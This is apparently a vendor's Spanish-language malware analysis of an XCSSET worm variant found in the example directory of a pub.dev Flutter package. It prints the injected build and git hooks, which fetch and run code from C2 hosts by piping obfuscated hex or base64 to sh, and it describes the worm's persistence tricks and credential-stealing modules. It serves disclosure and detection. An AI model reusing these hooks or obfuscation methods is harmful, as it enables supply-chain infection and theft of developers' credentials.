Hoy, pub.dev se suma a la lista de registros de paquetes en los que hemos encontrado malware. Hemos detectado una variante de XCSSET oculta en el interior de visor_universal_de_archivos (versión 0.1.5), un paquete de Flutter para la vista previa de archivos disponible en pub.dev con unas 500 descargas. Se trata del primer paquete comprometido que hemos detectado en pub.dev, el repositorio oficial de paquetes para Dart y Flutter. A diferencia del npm reciente ataques a la cadena de suministro Como quizá ya sepas, no se trató de un caso en el que alguien hubiera atacado deliberadamente este paquete.
XCSSET es un gusano de macOS que inserta de forma masiva un gancho de compilación malicioso en todos los proyectos Gradle de Android, proyectos de Xcode y repositorios de Git que encuentra en un equipo infectado. El equipo del responsable del mantenimiento estaba infectado y, cuando publicó una nueva versión del paquete desde ese equipo, los archivos infectados se incluyeron en ella. El paquete de pub.dev se remonta a un repositorio de GitHub comprometido.
Una búsqueda rápida en GitHub muestra que esto sigue ocurriendo hoy en día, y que hay otros responsables que publican activamente proyectos infectados sin saberlo:

Para obtener más información sobre XCSSET, consulta el informe de Unit 42 titulado «The Xcode Assassin Returns» y las publicaciones de Microsoft de marzo y septiembre de 2025.
Lo que encontramos en el paquete
visor_universal_de_archivos es un paquete de pub.dev que ofrece widgets de vista previa de archivos integrada para aplicaciones de Flutter: PDF, Word, Excel, vídeo, Markdown y texto sin formato. El código de su biblioteca Dart se encuentra en lib/ está completamente limpio. Todos los archivos infectados se encuentran dentro del ejemplo/ directorio, que se incluye en el archivo tar de pub.dev, pero que nunca se compila cuando el paquete se utiliza como dependencia. Basta con añadir visor_universal_de_archivos a tu pubspec.yaml y el hecho de compilar tu propia aplicación no activa nada. El riesgo lo corre quien clone el repositorio y compile explícitamente la aplicación de ejemplo de forma local. No se trata de un ataque dirigido contra el paquete ni contra sus dependencias. El gusano simplemente se adjuntó a cualquier archivo de compilación que encontró en el ordenador infectado del responsable del mantenimiento, y la mayoría de los usuarios del paquete nunca se verán afectados.
Se infectaron tres configuraciones de compilación distintas, cada una de ellas infectada de forma independiente por los módulos de gusano de XCSSET:
ejemplo/android/app/build.gradle.kts contiene un preBuild gancho inyectado por el android_finder módulo:
tasks.all {
if (name.contains("preBuild")) {
doLast {
ProcessBuilder("sh", "-c", "((p(){ `printf xAxd | tr -d A` -p -r; };echo 6563686f...0a | p | sh ) >/dev/null 2>&1 &)").start()
}
}
}printf xAxd | tr -d A reconstruye xxd durante la ejecución para burlar los escáneres basados en cadenas. El fragmento hexadecimal se decodifica en un comando «curl» para 5yotmxcc54l9xda[.]ru/a con etiqueta de campaña p=android_kotlin. Se ejecuta de forma silenciosa en cada compilación de Gradle, y la salida se descarta.
ejemplo/ios/Runner.xcodeproj/project.pbxproj y ejemplo/macos/Runner.xcodeproj/project.pbxproj ambos contienen un PBXBuildRule entrada que se activa cuando cualquier .md El archivo se procesa durante una compilación:
script = "cp \"${INPUT_FILE_PATH}\" \"/tmp/${INPUT_FILE_BASE}\"\nsh -c \"${A3EA261}\"";A3EA261 es un parámetro de compilación definido en el mismo archivo. En el caso de iOS, está ofuscado con base64 (printf bdase64 | tr -d d), señalando hacia qdgs232i-q[.]ru con la etiqueta p=xcode_rule. En el caso de macOS, está ofuscado en hexadecimal (printf xxVd | tr -d V), señalando hacia ejntin6hkjt7gj2[.]ru con la misma etiqueta. Ambos se ejecutan al compilar el proyecto.
La cadena de contagio
XCSSET se compone de varias etapas y módulos, cada uno de los cuales realiza una función específica.
Etapas
- Fase 1: el hook de compilación se conecta al C2 y recibe a cambio un script que vuelve a realizar la solicitud indicando el sistema operativo y el nombre de usuario.
- Fase 2: El servidor devuelve un script de shell cifrado que recopila el número de serie del hardware y la configuración regional, y descarga el cargador principal a
/tmp/h, crea un paquete de aplicación invisible a su alrededor, lo ejecuta y, a continuación, elimina ambos en un plazo de diez segundos - Etapa 3: el cargador es un AppleScript compilado de solo ejecución que se descifra a sí mismo utilizando AES-256-CBC con una clave generada diariamente y, a continuación, ejecuta la carga útil descifrada en memoria.
- Fase 4: la carga útil descifrada es el orquestador principal que se encarga de distribuir todos los módulos
Módulos de propagación
android_finder: inyecta un archivo maliciosopreBuildse infiltra en todos los proyectos Gradle de Android del equipo. Cualquier desarrollador que compile uno de esos proyectos también se infecta.git_finder: escribe un archivo maliciosopre-commitSe integra con todos los repositorios Git de la máquina. Se ejecuta con cada confirmación.replicator_finder: introduce una fase de compilación maliciosa en todos los proyectos de Xcode del equipo. Cualquier desarrollador que compile uno de ellos se infecta
Persistencia
persistir: sustituye el icono de Launchpad del Dock por un paquete falso que vuelve a activar la secuencia cada vez que el usuario hace clic en él. Se mantiene tras los reinicios y no deja rastro en las ubicaciones de persistencia habituales.
Módulos antirrobo
browser_remote: extrae la entrada del llavero «Safe Storage» de Chrome para interceptar su clave de cifrado regenerada y, a continuación, sustraje las contraseñas guardadas, las cookies y los tokens de sesiónsafari_remote: instala un paquete falso de Safari y sustrae los datos locales de Safarifirefox_data: descarga un archivo binario nativo y sustraje las credenciales de Firefoxtdesktop: cierra Telegram, lo sustituye por una copia infectada con un troyano y se centra en los datos de la sesiónnotes_app: espera a que se abran las aplicaciones «Notas», «Recordatorios» o «Calendario» y, a continuación, extrae sus datosportapapeles: lee y extrae el contenido del portapapelessettings_app: se hace pasar por «Configuración del sistema» y utilizasudopara la escalada de privilegiosbuscador_de_carpetas_de_datos: recorre el directorio de inicio y extrae archivos de las carpetas seleccionadas
Todos los módulos de robo se descargan desde el C2 y se ejecutan en memoria mediante osascript. No se guarda nada en el disco. Los datos sustraídos se cifran con AES-256-CBC antes de enviarse a /u.
Cómo se transmite
Antes de ejecutar cualquier módulo de robo, el cargador envía tres módulos de gusano.
android_finder
android_finder busca en el directorio de inicio los archivos de compilación de Android:
nice -n 15 find ~ -maxdepth 6 \
\( -tipo d \( -name Películas -o -name Biblioteca ... \) -prune \) \
-o -type f \( -iname 'build.gradle' -o -iname 'build.gradle.kts' \) -imprimirEn cada ejecución, comprueba que se trata de un módulo de Android auténtico antes de inyectarlo y, en primer lugar, elimina cualquier infección previa. Es compatible tanto con los archivos de compilación en Kotlin DSL como en Groovy. Cualquier desarrollador que compile uno de esos proyectos se infecta, al igual que cualquiera que clone el repositorio y lo compile después de ellos.
git_finder
git_finder encuentra cada .git directorio del equipo y escribe un archivo malicioso pre-commit se infiltra en cada uno de ellos. La carga útil del hook es polimórfica: el dominio C2, el esquema de codificación y la profundidad de anidamiento se aleatorizan en cada infección. El resultado tiene este aspecto:
#!/usr/bin/env bash ((n(){ base64 --decode | base64 --decode; };echo <blob> | n | sh ) >/dev/null 2>&1 &)Cada commit que realiza el desarrollador, en cualquiera de sus repositorios, vuelve a activar de forma silenciosa toda la cadena. Si ya existe un hook, el módulo elimina las líneas inyectadas anteriormente mediante sed antes de añadir.
replicator_finder
replicator_finder es el vector clásico XCSSET. Analiza project.pbxproj archivos, comprueba si hay archiveVersion = y Sección PBXShellScriptBuildPhase, e introduce una fase de compilación denominada «Run Script». Cualquier desarrollador que abra y compile un proyecto de Xcode infectado se ve afectado. Esto se ha documentado desde 2020 y sigue formando parte del conjunto de herramientas, junto con los otros dos vectores.
Persistencia oculta en el Dock
El persistir El módulo comprueba si esto se mantiene tras un reinicio. Así es, y de una forma que elude las comprobaciones de persistencia habituales.
Se descarga dockutil desde el C2 (/d/dockutil_arm64 o /d/dockutil_amd64), ad-hoc lo firma y crea un paquete de aplicación falso en ~/Biblioteca/Cachés/vyf[.]lttzw[.]snjgwq/. El paquete incluye Info.plist se ha modificado para que se haga pasar por Launchpad:
plutil -replace CFBundleDisplayName -string 'Launchpad' <path>/Info.plist
plutil -replace CFBundleIdentifier -string 'com.apple.launchpad.launcher' <path>/Info.plist
plutil -replace LSUIElement -bool YES <path>/Info.plistA continuación, utiliza dockutil para sustituir el icono real de Launchpad del Dock por el paquete falso. Al hacer clic en Launchpad se abre el Launchpad real (open -b com.apple.launchpad.launcher) y ejecuta el script malicioso al mismo tiempo. Cada vez que se reinicia el sistema, se ejecuta la primera vez que el usuario hace clic en Launchpad.
Módulos «Stealer»
Una vez que la propagación y la persistencia están activadas, el cargador envía los módulos de robo. Cada uno de ellos se obtiene de /s/<module> y se ejecuta a través de osascript -e "$(curl ...)". No se guarda nada en el disco.
browser_remote descarga un binario nativo (cd_arm64 o cd_amd64) del C2, elimina el GoogleUpdater y Actualización de software entradas y ejecuciones seguridad eliminar-contraseña-genérica para eliminar la entrada del llavero «Safe Storage» de Chrome. Al eliminar esta entrada, se obliga a Chrome a regenerar su clave de cifrado, que el binario intercepta para descifrar las contraseñas guardadas, las cookies y los tokens de sesión.
safari_remote crea un paquete falso de Safari en ~/Biblioteca/ASafari/ y ~/Biblioteca/Cachés/com[.]beta[.]Safari y extrae los datos locales de Safari.
firefox_data descargas hbdm_arm64 o hbdm_amd64 y lo invoca con -c contraseña --zip, lo que da lugar a un firefox_browser_data.zip subido a /u.
tdesktop ejecuta killall -9 Telegram, descarga una versión reempaquetada Telegram.app desde el C2, y coloca el archivo de sustitución en su lugar mediante una firma ad hoc. Su objetivo son los datos de sesión de Telegram procedentes tanto de la ruta clásica (~/Biblioteca/Application Support/Telegram Desktop/tdata) y la ruta del contenedor en el entorno aislado.
notes_app espera a que se ejecuten las aplicaciones «Notas», «Recordatorios» o «Calendario», se instala en el paquete de la aplicación correspondiente y extrae notes_app_data.zip.
portapapeles gestiona un pbpaste entra en un bucle y extrae el contenido del portapapeles.
settings_app crea un paquete falso de «Configuración del sistema» que aparece en «Preferencias del sistema» y «Preferencias» en Spotlight, y descarga un archivo binario independiente mac_bin_daemon_app desde el C2, y ejecuta comandos a través de sudo -u para la escalada de privilegios.
buscador_de_carpetas_de_datos recorre el directorio de inicio y extrae archivos de las carpetas seleccionadas para enviarlos a /u.
Todos los datos robados van a parar a /u mediante un POST multiparte, cifrado con una clave AES-256-CBC.
Cómo Aikido detecta esto
Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.
Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.
Para una protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes con Aikido Intel antes de la instalación.
Para una cobertura más amplia en todo su equipo, Device Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, bibliotecas de código, plugins IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.
Indicadores de compromiso
Dominios C2
5yotmxcc54l9xda[.]ruqdgs232i-q[.]ruejntin6hkjt7gj2[.]ru
Artefactos de archivo
project.pbxprojque contiene unPBXBuildRuleconsh -c "${A3EA261}"build.gradleobuild.gradle.ktsque contiene una llamada a un shell ofuscada medianteprintf xAxd | tr -d Areconstruirxxd.git/hooks/pre-commitque contienebase64 --decode | base64 --decodeoxxd -p -r | xxd -p -r

